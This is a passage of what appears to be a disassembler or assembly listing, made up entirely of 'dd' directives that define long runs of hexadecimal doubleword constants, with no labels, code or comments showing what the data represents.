89B4F02Dh, 941432B3h dd 35A4D73h, 7E630D58h, 0AF895700h, 215699E3h, 6E732949h dd 0D3850EACh, 660FC329h, 0AE83712h, 0C185E60Eh, 783C3EF3h dd 5CB6B63Fh, 73B79593h, 0CDEE98ACh, 0A72C7FFDh, 904D53F8h dd 8B6E84FFh, 1E546794h, 0D0955006h, 93F9A2A0h, 2D30A4ABh dd 53089612h, 64E412AAh, 856B046h, 0C95EFE2Eh, 0F75F8E71h dd 85CD5E4Eh, 1FB8569Ch, 294361D8h, 0E8734DB0h, 44CB9FA8h dd 0FCC13EA1h, 0BBCBEC88h, 92E32D6Ah, 7148302Ch, 5C60E597h dd 9EE81E37h, 23025F14h, 0DE4CBEF0h, 6CEDFF02h, 0E9633F16h dd 28B59DEDh, 757143D7h dd 0D11C6EBBh, 0C8B66312h, 0C5892C01h, 0BC443DF2h, 0C0B03F29h dd 0F2A647D6h, 9546773Ah, 54EF8C7Fh, 0B1881B3Ch, 0CE44043Eh dd 0DBDC1CBCh, 29855AECh, 646FF2BDh, 9E7F817Bh, 0F7A2379Ah dd 0FA1D9B20h, 94BA5AE4h, 0AD59B5A5h, 0CA41E424h, 0AB3F1F2Dh dd 9F024CA5h, 0F8997C8h, 150FAC79h, 8518B857h, 132EC4C8h dd 0EF571C70h, 314E299Fh, 85539C0Ah, 0E0E8AEBBh, 0EEF77F8Dh dd 0C100D2EBh, 71A9C320h, 17350C63h, 0E0CAEDF7h, 1E3DC469h dd 0AC302D7Eh, 8ECD67DEh, 872EC9A9h, 1617D33Fh, 5BEEA49Dh dd 907E8182h, 0E6B7240Eh, 52235679h, 0A57F2A1Dh, 0E18BFBC5h dd 13FE6Fh, 0F7CFB9F2h, 0F1578C58h, 0DB92FBB4h, 849D312Eh dd 4008C865h, 0C595136Ch, 0ECBB74F9h, 3269A840h, 520A493h dd 20FAA6DBh, 172004FBh, 232A7D2Eh, 67C85FABh, 0C350E902h dd 0F9F4637Fh, 7E876C87h, 92157174h, 6E38274Bh, 1F350EA4h dd 0D49ECB84h, 3DCA30A2h, 29F702F7h, 0C04C8059h, 97530AAAh dd 270FE1CAh, 5C595559h, 0D4F77F0Bh, 0A68E4D16h, 8070099Bh dd 6E11630Dh, 0E9EF7ECEh, 38C0F883h, 0D447EBB6h, 0F2041844h dd 0DD8295DEh, 487DC12Eh, 3848A860h, 0C8C0536Ch, 0B1F1BEACh dd 0A6240B2Fh, 0E6DA65B7h, 0C6DA4A57h, 9B7105E3h, 729F8569h dd 0E430245Fh, 0A60B799Ah, 98A134F2h, 0EF17FCC9h, 0C9857F71h dd 1104407Ah, 0ECCAF47Bh, 4539162Fh, 0E64AD8ADh, 0D3397F7Dh dd 0B8C553E0h, 8A2E91ECh, 9E4FD045h, 0B219B98Dh, 188290E8h dd 0A48CCD14h, 5213D6E3h, 0E0DF58E9h, 13F47680h, 1EBF38ADh dd 8617B8C9h, 7EE66EF8h, 146965F1h, 0D14E6EA3h, 9E720188h dd 2524166Ah, 0DADC3228h, 0DD1CEB3Ch, 65A5ACCAh, 2D44ADA7h dd 65A82007h, 976F1DF7h, 34D0A79Bh, 507D92h, 951CE102h dd 2892E2CBh, 8E0EEBE8h, 0EFCF48Ah, 0F4DA8E1Dh, 0CA4040E8h dd 0B5F3D14Eh, 84DB868Ah, 3CD3BB5Bh, 0C2A145B4h, 9D51C73Eh dd 0AF1D40D4h, 41C4DD32h, 2A7EC1C5h, 0AD28C6BBh, 1194E56h dd 1A39F845h, 0DC7170D4h, 0FC5E74A2h, 0F3BB8B60h, 0BAA473Dh dd 0EA07DA39h, 0FCCD90B7h, 0F37C5AA3h, 24BF27A7h, 5DB244D1h dd 0AB2E59F3h, 51238FA9h, 8DA14102h, 0B97B9692h, 21B85896h dd 2F09936Dh, 6B1865E9h, 195279DDh, 0CD718413h, 8B3A9D1Fh dd 0D541EB10h, 2639A2F5h, 11224CD4h, 6BCEF4A0h, 4042A4BCh dd 0C20B845h, 0FE60D0D5h, 0A27382B6h, 6E958CFAh, 60859925h dd 0D154D9D1h, 0B8BB368Bh, 0E687ACE1h, 0CAAFD00Fh, 7A0F20F5h dd 0A3F5AC74h, 0BCD201C0h, 0F4CE212Ah, 0F6374C03h, 7C18094Ch dd 18C3487Ch, 4ABA08C6h, 40C02789h, 101849C3h, 419C2F39h dd 0DC10C8DDh, 0F3D2FD1Fh, 2939D51h, 586CABF0h, 0DB1FF9D2h dd 269E8884h, 2D597ABAh, 0F611339Ah, 0D6332F73h, 0B560B569h dd 9A2149FFh, 0C1452EFBh, 47C34133h, 0D1CDDB48h, 5D805A69h dd 6E6DBCABh, 0CD4C6435h, 51761326h, 7AD62270h, 0E8BBE715h dd 3C086D4h, 9ECDC0Fh, 2900B4F4h, 0C56C9DE7h, 764FD126h dd 4B1D7686h, 1CCCD264h, 5E3D37A7h, 4C9CA84Ah, 0E60AA487h dd 810CAABDh, 0FA975731h, 1FA45931h, 387C4F17h, 0E5D987E7h dd 0D7D8750Ch, 0CB16F1C9h, 1801FA88h, 0A5B9E51Ah, 603D4EDDh dd 4120EE88h, 6BF58122h, 59308C3Bh, 483A28C6h, 0ED072A47h dd 0CBE9D097h, 0DEDD949Ah, 0E4AD27C8h, 296CEAA3h, 21432FC9h dd 95432815h, 0E72B6486h, 3FF0946Ch, 0CB9A7C0Dh, 0FE7EE43Ch dd 0D97981C0h, 8E3282D0h, 0B50B0402h, 0EE0ECFAAh, 0CD3D4BC0h dd 4D7F202Fh, 48EB5B7Ah, 854ABFB9h, 218C8D38h, 9D9E8229h dd 0AF41A635h, 0DC915186h, 5BDEA7B1h, 332F144Dh, 5B44AF66h dd 2943200Dh, 3ABE13D0h, 0E3F58315h, 3E76F689h, 593542DCh dd 0D0412DB6h, 8721DD45h, 19F50596h, 0A24709E3h, 6E4D5C44h dd 44D45ECAh, 513210D1h, 0BDBB40A9h, 6C9990BAh, 0B5EC5247h dd 33F7AEA2h, 798B738h, 0D9616036h, 7476E121h, 0D2842E62h dd 457218BEh, 9AC1C8B7h, 87B311E6h, 8B16AB00h, 0BE044FBCh dd 78B58C01h, 0A53A975Ah, 67B52B57h, 0A7C3569Fh, 5C136E20h dd 2D40D123h, 0B57A3301h, 60B3864Fh, 5876355Ah, 1C39F675h dd 35F5ABBDh, 53C1D4D3h, 1F482067h, 6B8F071Fh, 4668FDC5h dd 55183BF6h, 9EB2DAF8h, 0A4C0278Fh, 55157127h, 815130E0h dd 0F18384DAh, 5CEC0A0Dh, 0D1FDA2F7h, 8394AB39h, 9A67BDABh dd 0CD32E026h, 4ED8F0FFh, 2045E049h, 0D7CA6CDCh, 35A7EFF9h dd 8FEB2017h, 5A68604Ch, 3D10647h, 5AF46DBDh, 476CD367h dd 0FFDC8CCFh, 0E291A078h, 0D3E8CA3Ah, 0A77A8EFCh, 22D4E4E1h dd 0A0C82849h, 0EFD0D136h, 0B4ED225Fh, 73E6CAA1h, 4983E9D2h dd 821D9A98h, 1D2F2411h, 99A07A7Eh, 687DCDCFh, 0E1EED861h dd 0F51D5F92h, 5E6DD7F1h, 0C6C36744h, 78EA5282h, 517FE8A5h dd 17B5F4A2h, 2A914760h, 3C78017Ch, 9107AB3Ch, 0DA7287BBh dd 7FFF5F4Eh, 0B866C8E2h, 1A0624DAh, 65FE5F4Ch, 2A31514h dd 0A0E44C8Dh, 0D329E8F1h, 547B6012h, 6764D983h, 2C3F6EC4h dd 9D3A26B6h, 0E8DE0502h, 0BB3FDBD6h, 831942CCh, 911DE992h dd 7C86AD7Dh, 0B8605D51h, 0F9E5A5BCh, 0FA4C3261h, 72B0F465h dd 5062A7DFh, 0BF102991h, 9F284D0Ch, 968AE2F8h, 0FE29F12Bh dd 55F95BA5h, 34662806h, 5AAAACB8h, 8ECDC943h, 4D6B8860h dd 7F8C4BD2h, 56A9599h, 0D3BF722Dh, 0C0A41368h, 42475215h dd 996BCCD0h, 7539B10Dh, 547BD3F2h, 0D4429D22h, 1264FFD5h dd 146E5C4Ch, 0F46B0BC6h, 5BFF770Dh, 3E4A3A1Dh, 0B619F6B8h dd 26E0C52Ch, 6A5E65EAh, 0E8C88A0Fh, 4F075CB9h, 9B11DA94h dd 967AF4F5h, 2F12B2ABh, 0B487EB50h, 0DBEFC779h, 0B15E133Dh dd 0AACA0140h, 0B6C2AEB4h, 1620D380h, 0FDB8D032h, 0D73930B1h dd 2219DADBh, 0CF07A10Ch, 0DAD7FB53h, 0E976FCF5h, 0A5FFA3BAh dd 0C9664996h, 0D01E8CA7h, 0D6C7071Ah, 0F9B57D73h, 74F8271Ah dd 10540D19h, 0DA1B46DAh, 1FE5B5B6h, 85ED9813h, 0C9F2BDA2h dd 645DD05h, 24F470B2h, 0FB11A169h, 0D36F423Fh, 0DAF48B7Eh dd 0D68B582Ah, 0D3E258B1h, 0E295E868h, 0E66F2EF2h, 37430C1Ch dd 65FAF4B1h, 34D53A59h, 97226860h, 0F4C5EABFh, 96803497h dd 0FA68CE06h, 365A64A0h, 6DA35A5Fh, 6F40DE6Bh, 31A74BCBh dd 92CDD012h, 0FDC43E38h, 0ADF441FEh, 7AE75486h, 81FB96CBh dd 0E5103C46h, 8FD48B80h, 359BF8CCh, 11CAF823h, 186E175Ah dd 9E9289E8h, 4FFAAF5Ah, 0D1D707A5h, 3CCB400Ch, 533BCD84h dd 0E96E9C23h, 4B373928h, 4505D6B7h, 421828AEh, 0DD98E1A6h dd 346BCEF3h, 4965677Eh, 7AAC6B4Fh, 0CE7BAF04h, 0B7F30861h dd 8F172E9Ah, 95958450h, 37B23310h, 1F6DDE68h, 7E4EAF3Ch dd 3A485E8Ch, 0FB847F2Bh, 0C20C7E5Ah, 5D47CF8Ah, 0C2B6FE3Fh dd 390A892Ah, 7A625710h, 9D81B18Eh, 14FBDF8Dh, 7474CC0Fh dd 52AF7E6Ah, 7E6A9AC4h, 0E7EA72F5h, 7B9171D3h, 9B56D2FBh dd 34693B81h, 4C163594h, 0E08B6353h, 705BB2C2h, 4D62D3F8h dd 72D48AC2h, 70426A85h, 0B2E4EB4Eh, 30A20217h, 0B01D865Ch dd 0EB8CA0F0h, 0C4999780h, 6409002Ah, 0E84E2241h, 0B06CC8Fh dd 0F0F05B67h, 8226BB47h, 7C80F309h, 40E71733h, 3FD9A1BBh dd 50817C7Bh, 0BF67EDEFh, 829B2B5Fh, 261029B4h, 5E0531FAh dd 0C4EC7F75h, 0FCF5E7E4h, 7086B6E0h, 0F6F3684Dh, 0C33D99F8h dd 0EB396FDFh, 57D3A6F0h dd 25E43D29h, 45EE2A69h, 0D3711563h, 0DB285677h, 20B0DB3h dd 0E47B68C4h, 594C125Eh, 0AD9DEFF1h, 0BF6E6269h, 0FD6779A2h dd 11BB128Ah, 0F4981BFBh, 0F437EB7Eh, 1097D7C2h, 0B9DE475Eh dd 100C9282h, 7DCC2DD3h, 8492C5C3h, 2EF35688h, 2C7354A9h dd 0E0696026h, 40A3666Fh, 84E514A9h, 25BB8312h, 8B4CB07h dd 0BFCA87C0h, 1FFC144Ah, 2C0D5CD5h, 0B244D24Ch, 304519ECh dd 22340FBh, 6E0DA63Eh, 0C561E410h, 86F1FA7Bh, 0C8AD6C8h dd 7C02B2B2h, 6DCFD6C7h, 0D0FF79C4h, 8CC96C89h, 5A22CF6h dd 2D170513h, 0F8008BDEh, 6B726183h, 7C99813Dh, 20CF766Dh dd 9695C84Ah, 0FA5C2355h, 87F69C0Eh, 454850C0h, 7C3FD431h dd 12271703h, 0A1372F11h, 5F81B88Bh, 0FC2A7764h, 714F4D2Ah dd 94651AC2h, 0EEDED272h, 0E7836789h, 0CC77E382h, 5991A6A5h dd 1EDAFEC1h, 0C3632560h, 0D227AB50h, 2BA0D2BCh, 507C35F1h dd 5AF0FA51h, 0A3EA16AFh, 0C6398266h, 0D21ED44Ah, 0AF67170Bh dd 2398E974h, 1321524Bh, 936E2BB4h, 93808209h, 0DF6675C7h dd 0E543FAF4h, 7917B997h, 1CFEA87Ch, 0CD19BAA7h, 0C661BD19h dd 0A61A30F2h, 7D11BB20h, 290964A9h, 4BEB8625h, 74063DDBh dd 0DCB7432Bh, 0AD2B8BD7h, 8EB0FCC2h, 2D80914Ch, 54F93F8Dh dd 0F2778C0Fh, 0B6164769h, 0C9AA112Fh, 484C4465h, 0FAA7A727h dd 68759C2h, 0DA24792Eh, 95CB8EA6h, 0AB9D1685h, 0BA57F6B7h dd 1D94C07Eh, 5D453DB3h, 0A7429A19h, 9BD48C81h, 0F027BE38h dd 107D139Ah, 0F9723183h, 54988358h, 47A8E87Dh, 6B0FE5F7h dd 475E3526h, 407AD993h, 0BE6FEBAh, 3920BC61h, 1267569Fh dd 0B7AA4951h, 0A6D1A3D6h, 545CB6ECh, 815F4D8Fh, 0E19BCECEh dd 4C7F4D0Dh, 44DE9BC8h, 82024A8Ah, 1A785A5Eh, 0FEB9C55Bh dd 0C34799EFh, 0C4A8D7BFh, 0B8F70906h, 60396CF7h, 0EE24205Dh dd 4CE9DECh, 0F7A2BC3Ah, 55219C3Eh, 574DB229h, 3F0D69F0h dd 0E12056F2h, 0F02FBCEEh, 11C0ADA2h, 7A0EEDFEh, 758FE896h dd 1C8B5185h, 0A8CFC6C7h, 3AD33366h, 0BF4C1271h, 36A6E87Bh dd 0FEE8B3AFh, 51801E87h, 2373A3A5h, 0B8C1853h, 0EF28349Bh dd 834F48C2h, 5BED04Ah, 527F5FF9h, 75D25783h, 6411B874h dd 0CAE062DEh, 0B7FE04C9h, 0BEC4E59Dh, 0E15ABAAh, 0F001A69Ch dd 75407972h, 8DB598EAh, 437D623Ch, 44877B6h, 589D5B3Bh dd 57E77388h, 38426685h, 0DBDB774Fh, 9F685318h, 0C8C98618h dd 0A18D316Ch, 74DE6044h, 0B98AB623h, 0E6CA805Fh, 6FD1142Dh dd 0A3867CFAh, 0D520E863h, 250B31D4h, 57601F26h, 23DF9A5Dh dd 8A86A403h, 418BA9AAh, 3091D2D6h, 3DAB8B87h, 0BA8CE00Eh dd 2119A275h, 0C76854C7h, 108FE9E0h, 66C08E0Fh, 9B7A9495h dd 0C4DCA23Ch, 0FFC5352h, 0E24BD7C1h, 7ECCB8CCh, 0C2659D23h dd 0C82E39B6h, 40211E7Ch, 0DD733F4Fh, 0E4C970C0h, 19E0600Eh dd 7DEBFFADh, 34DCEC89h, 4A06B5BFh, 91EE4221h, 0FBD92DF7h dd 0EB85D9E3h, 23A8E1D5h, 8F849D09h, 0C7F5A850h, 0A962C79Ch dd 0C004C954h, 0AA2954F1h, 18889C96h, 7EE6EEBBh, 0F2CE945Dh dd 60E37199h, 5689E44Eh, 0EC5DAB45h, 171C4C22h, 1268676Ch dd 173B07C0h, 8ECDE5A7h, 5545209Ah, 860A0C15h, 0E4BFB51Fh dd 2F876F66h, 0D8F6CB54h, 0BB4BB02Eh, 5B97866Eh, 92A6B54Dh dd 53573E0Dh, 1930AA81h, 61E803BDh, 0F1529FA5h, 2E20AE78h dd 9C733A4Eh, 3B2F1781h, 6A86D5FFh, 0D1D162D6h, 47581207h dd 962EBACh, 856AC744h, 0E926DA3Ah, 70E3F1CEh, 5C14A4C2h dd 0EA2A62EFh, 0F54F496Eh, 0B11243C0h, 4C34D007h, 0D1554745h dd 8EB9F5F6h, 56F032Ch, 954777C2h, 921A259Eh, 9DF1FD1Bh dd 0F8F05983h, 2596BF09h, 3367AA1Eh, 8057166Bh, 0F8AAB875h dd 0AD680AAh, 5777B793h, 3AF6290Eh, 1F00F64Eh, 6DE8D7ADh dd 0F4C48DE5h, 36FB990Ah, 0FCDF2019h, 7BD438F7h, 97DE58B2h dd 0BFAF4C4Eh, 0CC13EFA9h, 8D6E47A6h, 82A838F3h, 0EABA927Ch dd 0A955D639h, 0BB674416h, 0A0AB5A2Fh, 0E91D4A2h, 0E5169BB7h dd 0B100BAFDh, 0C0EE5305h, 9B2DE702h, 26D16BAFh, 7EFA868Eh dd 0CB1C92D4h, 811EB3F6h, 0F3BBD296h, 67C9F4F0h, 76A1FBE5h dd 0D622CDC8h, 0BD77E435h, 0D7D4C6Fh, 5E37CC4h, 4E86406Dh dd 9A2464F5h, 0AF6B8263h, 10A01A0Dh, 15670C9Fh, 4411E359h dd 2C83C34Fh, 0E0158D38h, 0B9CF3B18h, 0A4FAA10Bh, 8BD330EEh dd 7D6B34F7h, 0BA2839EEh, 0C0B09B41h, 5B7BCF07h, 0F1287F9Ah dd 594AE5E2h, 0DAF64A60h, 0A009B1DEh, 0DA0CCEFCh, 4F3D9707h dd 1368C76Ch, 40A09A0Ah, 9EA410BEh, 0AE02283h, 5FF07DCEh dd 254C6BC9h, 0C1F329C9h, 0D1BE5D63h, 0DC6854F7h, 9D98D4DFh dd 0DF8F7EC6h, 0B09F78C0h, 0E210A6D7h, 595FC3ACh, 19A5222Fh dd 0BD9A53FAh, 0B7926E8Fh, 0DD3446Bh, 0E35756DDh, 3C83705Bh dd 0A41199EDh, 8BDB33CDh, 7D5B32EFh, 488D0896h, 5694977Dh dd 3E4661D7h, 0AAF6C865h, 4E374F11h, 7EEE9C4Bh, 70D3A9CBh dd 3CF0AF45h, 0A76C1C51h, 3C946665h, 0F86407CEh, 0B66AE165h dd 88892009h, 0C561B49h, 92583D29h, 7CF470DAh, 8C1B14D3h dd 34BFD002h, 66693D07h, 30875C73h, 763715B9h, 305CBACCh dd 0D773F702h, 0ECDC115Eh, 0AE71DD5Dh, 4262E87h, 3BDAAD88h dd 8353CDB0h, 0C552F1C4h, 0A6215EECh, 8386BC4Ch, 971ACB02h dd 862C67F3h, 6074BB04h, 4A816E8Fh, 0A3A318EFh, 0CB4B4CD6h dd 0E8D1120Eh, 80BEA9FAh, 0A29E5374h, 0E05C387Ah, 5EA44B93h dd 1E72D0FBh, 0B8C72F7h, 6C531701h, 4D434982h, 6EDF6D8Dh dd 6A4CFB21h, 4E8376B3h, 0C7A84901h, 7B14B1B7h, 56F9394Fh dd 4A234889h, 19A1CF0Fh, 382674D7h, 0EB8996DCh, 0E4FC0157h dd 0B28D23F5h, 0B5595831h, 0FB505518h, 0B7B3F299h, 47A09BABh dd 0FE0E7EFAh, 0E8982790h, 0EDC44D13h, 79B30791h, 0F8A7FDBh dd 0B0E00367h, 3E98EDD4h, 9C9890A1h, 3C87EE8h, 33C25300h dd 0E764C04Bh, 0DB6FAD0Fh, 92EB4846h, 0C4DF78C4h, 55DEA7Ah dd 84E5B80h, 495C40B9h, 3DC3794Ch, 88922377h, 0CC0C5DAEh dd 0E231E37Eh, 0B678284Fh, 4507FF30h, 6DE8B28Fh, 4963CB94h dd 0D0DC315Ch, 0DE71F1B2h, 0D10EE017h, 1C95632Ah, 0DB44570Fh dd 5C1177D2h, 40CBDEEAh, 0C358FA70h, 0A03B011Dh, 0D4BA5D6h dd 0D16E5081h, 3F1F6DCCh, 0ADE56AE3h, 0A5C2CA0Bh, 6A444F96h dd 1DC93686h, 0B97B6BDCh, 6F1D01A0h, 0FD835F37h, 1A52EFDDh dd 4136DC02h, 0D59AAA48h, 9CC9E86h, 296CBA68h, 0FB001909h dd 1C3E6866h, 136BB4A5h, 0C3D58B38h, 229BE70Ah, 3543A88Ah dd 256AEF41h, 0CF8BEC51h, 0FD26A3DBh, 1364AF51h, 0F15ADABDh dd 0AD34B68Eh, 0AEFD2E02h, 3D47B184h, 891DDEACh, 83391C06h dd 115C458Ch, 477B46A8h, 0AE0FCD78h, 0A3823E86h, 57B05960h dd 0A4E08DABh, 3BECF036h, 3DCABA84h, 0B4E2EA4Eh, 0FB270C8Eh dd 1EF42802h, 0DBC80AA1h, 0CCDADF76h, 0CB50EE91h, 8C221DF7h dd 0A5034049h, 0B7978F5Ch, 0EDB1104h, 1FF7C7BDh, 60C05C45h dd 66EECABFh, 4453AA68h, 0A5EED1E4h, 0B39CE88Ch, 0FD66D3D8h dd 2E4672CAh, 593D2F6Dh, 0F5552B97h, 2EC8D192h, 86C00C49h dd 0B769C9Ah, 0C6AFDA7Bh, 7F24246Ah, 83E80DDDh, 25B39448h dd 0AEC429F5h, 0AC7081E0h, 2C99B483h, 0D22C2944h, 0B90F49DAh dd 0DDA7304h, 8C0B9CCh, 0F07BC2E9h, 820CC55Ah, 0CCED998Bh dd 0B4DEE97h, 0B64FFB37h dd 6BEDD3D4h, 122998CDh, 0F160F5E0h, 530FFE75h, 0A6F90B32h dd 0FCF9E91Ah, 784F9427h, 9961AA71h, 0CB161051h, 33EC3DBh dd 3E6E6DC9h, 7781AA66h, 8DDCCCABh, 1739216Bh, 0D4DEB6D0h dd 0B7AFDB8h, 3C21B857h, 475EAD79h, 84D4E7A7h, 71F83274h dd 4FD1A7AFh, 0C52B26D9h, 2AF0ED6Eh, 1867D8C3h, 0C807412Bh dd 496976A2h, 6F1867E9h, 0DB559A6Ah, 9C9F4F53h, 997E198Ch dd 0C679A416h, 4BAF1098h, 2C9AD4B5h, 70797379h, 0E1BE74E7h dd 3A7BE662h, 39EBD3DAh, 70035194h, 991E7368h, 2AA4F812h dd 0F1F4C86Bh, 0BACAB630h, 0A96C7D4h, 0D5D80096h, 0CA1EF43Dh dd 0E8A5D968h, 0B3FF3D5Dh, 0CB937FFEh, 3B12D17Fh, 2C76337h dd 0E271731Ch, 0C4B0C638h, 0C3C72FEFh, 0C8EF18h, 78278A93h dd 51E4CAF3h, 4062E68Fh, 50883743h, 0B0D8411Bh, 4741C762h dd 0F5194750h, 9329898Dh, 3BBA7AE0h, 829C1D95h, 613C819Ch dd 73EC9897h, 3142E420h, 6036F201h, 21DDA129h, 0CEC34E96h dd 94AFC50Fh, 34A4E41Ah, 5FDF759Bh, 189A1E55h, 1285521Dh dd 353C6817h, 35027AA1h, 532F51D5h, 765A3168h, 93E18B51h dd 0FE8F2CEEh, 0BAB27C90h, 0EB8F1E0h, 6121480Eh, 0CF767B23h dd 5C6AB2h, 59D06993h, 13E0C83Fh, 1610DFAh, 94EA6F43h dd 18980501h, 1DBEA503h, 985444E3h, 70B1928Eh, 0CCFE99h dd 0A93B743Ch, 8D847860h, 32CA60A1h, 6262DC44h, 6ECBBB3Fh dd 6090B071h, 54A69B54h, 0BE73A2B6h, 0DAE15FB8h, 74937DFFh dd 109B5A93h, 0B5DA7754h, 0BC03D124h, 0C9B6CDDh, 7A1504E1h dd 0E16D446Eh, 0A75337FAh, 6FD2816Bh, 5F3AB324h, 0F221C783h dd 0ADB4D6D2h, 3B435BD6h, 8BAA3C5Fh, 5BC18FD6h, 0DD914541h dd 0AA0BEDDFh, 80CA9B06h, 28583503h, 93541761h, 921CFE1Eh dd 9F7C65CAh, 0BF0728B8h, 34B348EAh, 4A71B459h, 0D5780F2Bh dd 0F44592A2h, 21A2F04Ch, 4D9DC907h, 2C79FA91h, 0DF0B5831h dd 0DC27AF60h, 2026AB02h, 98DECF98h, 0C513D218h, 0F77FE96Ah dd 0B5576C15h, 57154598h, 0E7817BB2h, 4E65DFB4h, 731320BBh dd 0C892383h, 0F1BB5FC1h, 0D7381C4Eh, 57C6F2DEh, 30EDBDBFh dd 0BA37265Bh, 0EEAA3C0Eh, 4549F5CAh, 0C8646C0Dh, 0C302F6Dh dd 253D9DE9h, 1AA887D1h, 0D98329B8h, 0AFB6EE9Dh, 553A2C06h dd 0E13A48B3h, 0B528371Fh, 1A4ADC45h, 0E84E32C7h, 34E929CAh dd 0AE8655EDh, 54F7E0BFh, 35E1513Dh, 2026E345h, 209B7EB0h dd 0D5DAA6D6h, 0C608C434h, 560E26F8h, 648705EAh, 37C4C0Eh dd 49F6CFF6h, 0E5CEA924h, 65E1A6DDh, 0EBBB1D0h, 0A07B65EDh dd 0C1494956h, 31430E3Fh, 8DFF77ABh, 9F91498Bh, 0E73C210Fh dd 29CEA274h, 0F19E65A3h, 3EFFE9E8h, 0D5642A1Fh, 0F37D9980h dd 24FE23BEh, 8F79E769h, 34607870h, 0F85F14BDh, 746598D2h dd 21E2F011h, 0CC88C09Dh, 9EC05DD9h, 0BD37A470h, 0E9522AB5h dd 0EDE82327h, 0C4CEFD3Ch, 4EEE231Ch, 18FE6CE0h, 8FAC9BD4h dd 680F3E2Eh, 5C90E3F5h, 4F692E36h, 6F3363ACh, 46BF0C1Ch dd 4B2EDF4Dh, 9D31C70Dh, 0F6D7A896h, 65C43D2Ah, 35FC6AD9h dd 0E82800C8h, 46ED4C63h, 67CE1F8Bh, 94DE4C0Bh, 0C82BC761h dd 99471FD7h, 0F37F1DC2h, 0CD44DB82h, 1CB9180Eh, 8A436DF1h dd 0A53C22B8h, 0FD1E992Ch, 0BF15A859h, 0C894882Dh, 0A6D4A350h dd 643A760h, 3E62B044h, 0FB357F5Eh, 0F7973CFBh, 7E623398h dd 91440F61h, 0B0A1A120h, 0EBADBB62h, 4E9011BFh, 0B6C2A4BAh dd 837ACCA7h, 13C76682h, 4B724458h, 2BDE1629h, 828D6293h dd 8ED1C5EFh, 41F86056h, 67F73147h, 0AE1E15CFh, 60843B02h dd 52C1F58Ah, 0B28CC109h, 2356FDD5h, 0B0061A89h, 8452BE8Ch dd 51D01DFDh, 54443E01h, 0B5A9B52Dh, 0FE0E9A1Dh, 216CA2A9h dd 375D4753h, 4D60EC9Fh, 0ADBC41DBh, 0D4F78B02h, 68E39072h dd 4BD170AFh, 2BE6D39Dh, 0D475ADF1h, 0F8DA45A0h, 0FB76B3E1h dd 0D8C01CAh, 0CDB11E22h, 90CA0DA3h, 7E336F00h, 14F14F93h dd 6C38B3DAh, 7909A48Bh, 41BED96Fh, 7C5B793h, 20C7D84Bh dd 1CD66C48h, 0FCA9B307h, 0F91BAB19h, 5F78E2EEh, 0F2BFD1BEh dd 0FB06E653h, 63BEBCFBh, 0B6FEDB39h, 0AFC2D1EAh, 503CFB0Ch dd 0FE3E9D15h, 0D94FFBDBh, 379D4492h, 0BA8C746Dh, 6C87CC63h dd 0D6E18BDDh, 0AC1FDEF6h, 405FE0B3h, 0F8869F29h, 144923E1h dd 44A503D9h, 0E03D632Ah, 3B5B5DF8h, 3AA053AEh, 0DB75269h dd 7ACA709h, 10EECF93h, 6C6453FAh, 7F6A99D7h, 0AEAA33EFh dd 7BC156AAh, 423DA8Fh, 0EBEA598Fh, 0D7CC8C2Ah, 3A9E1C06h dd 0A3FB506h, 0B1578689h, 0B9D6729Ah, 0E7BE76BEh, 64DF5838h dd 9A007BC2h, 0FEFC7200h, 0E26B5D11h, 64EBBE21h, 0F3355426h dd 638CF913h, 50439F6Ch, 57290AD5h, 0B862DB7Bh, 0B4DE5610h dd 8E6DBC9Dh, 358DB217h, 6FD122DBh, 62730FECh, 0FBE5C9F9h dd 9AE6C2A9h, 55E5DD8h, 465E5329h, 0EE70F33h, 2874D2B6h dd 8E4BA5D3h, 871C73ACh, 87C219D6h, 1B1C3006h, 4F6F258Fh dd 0E6943E7h, 321DFB05h, 878A2FDh, 3C1BC352h, 0B8F8189Ah dd 6B9C690Dh, 0B07E583Fh, 8F347387h, 0DEFC7202h, 6E9D6D06h dd 90CBBE2Bh, 0DA50C6DBh, 0B4F30685h, 0A0AE37F8h, 29270192h dd 0AF156A5Ah, 0AF53A118h, 0A66D7F22h, 0D78D7960h, 0D4D3213h dd 1671461h, 0D7202ABBh, 92E748FFh, 7CE68007h, 0DBEF2834h dd 0E9ABC4A3h, 21C59C01h, 4D495AC3h, 0E6A3012h, 0F9B58493h dd 6F6B21B4h, 93CBDA93h, 51595BFBh, 0F1D8B2EDh, 8C911B12h dd 3CA9F322h, 65331AC3h, 2FBCDD13h, 0D94DD33Fh, 27C1C157h dd 5C1C72F8h, 7ECB7E4Fh, 22A0985Dh, 23A21737h, 0B373FA27h dd 0A2D39CEBh, 44B19865h, 4F9F53E5h, 2873C589h, 0F792476Ch dd 9D72B063h, 0F0A4CD9Bh, 0E9836BE3h, 76E5A3CFh, 4449FB5Eh dd 8F4700C8h, 4E2AC7E9h, 4C65073Ch, 0C1D7C059h, 86A24BB4h dd 770F4ECh, 8F95949Bh, 56C53BBh, 8AEAF9E4h, 4D392F5h dd 6CB388Eh, 0EF5763EAh, 8EDE3D18h, 32F41D98h, 7B1B55BFh dd 260E583Fh, 6FD08382h, 0F584DB05h, 7A719A0Ah, 0E70BBE9Ah dd 369F8429h, 27FC0681h, 5D4389BEh, 518B8A17h, 0B6657D94h dd 0A41893B0h, 12283051h, 0E17280E3h, 0A0B130FDh, 56771083h dd 3B65A93Ah, 4E2237ACh, 64F56D4Fh, 0FC553367h, 9507998Ah dd 707EEF61h, 90A16D90h, 87663173h, 65B2F10h, 5F09D321h dd 0EBE86D44h, 1096764h, 8A921886h, 0E5EC772Dh, 884C4928h dd 4ABF12BFh, 3B5BFCAAh, 0A20C582Fh, 0A76F36C3h, 0C30F07FAh dd 0C1BE34E2h, 8F3DE7D6h, 0C922B78Eh, 5DBB85DAh, 5C29D3F7h dd 48B7881Fh, 48609455h, 0F1975712h, 36EE755Eh, 0E29E0E13h dd 8F74482Ah, 3314B70h, 0C49A5DF7h, 0B16A273Ch, 0C9556F28h dd 20DE4873h, 9E74AD4h, 32F69CF1h, 99DC425Ah, 0A3A44A70h dd 0FC5DBB5Fh, 8FEF9F4Eh, 13AFB687h, 4E8278Ah, 59F0C485h dd 95ACD805h, 0CD01BAAh, 95147C5h, 6E53F716h, 0F641BDB6h dd 4E026D13h, 0E21C378Eh, 836EE4E2h, 0EB8F3DD6h, 0C69C8451h dd 6D0CF972h, 0F3C08175h, 621C61F2h, 37E395E3h, 821F9D4Fh dd 7B6DB9D9h, 0BE970FB3h, 0B8E142CAh, 9B36F4CEh, 0FFE64EF8h dd 46E7172Fh, 0D5734D17h, 3ABF56Dh, 1AAC033h, 5580E052h dd 735839DEh, 0A39D0990h, 6747053h, 128ED55Bh, 0E8AB4180h dd 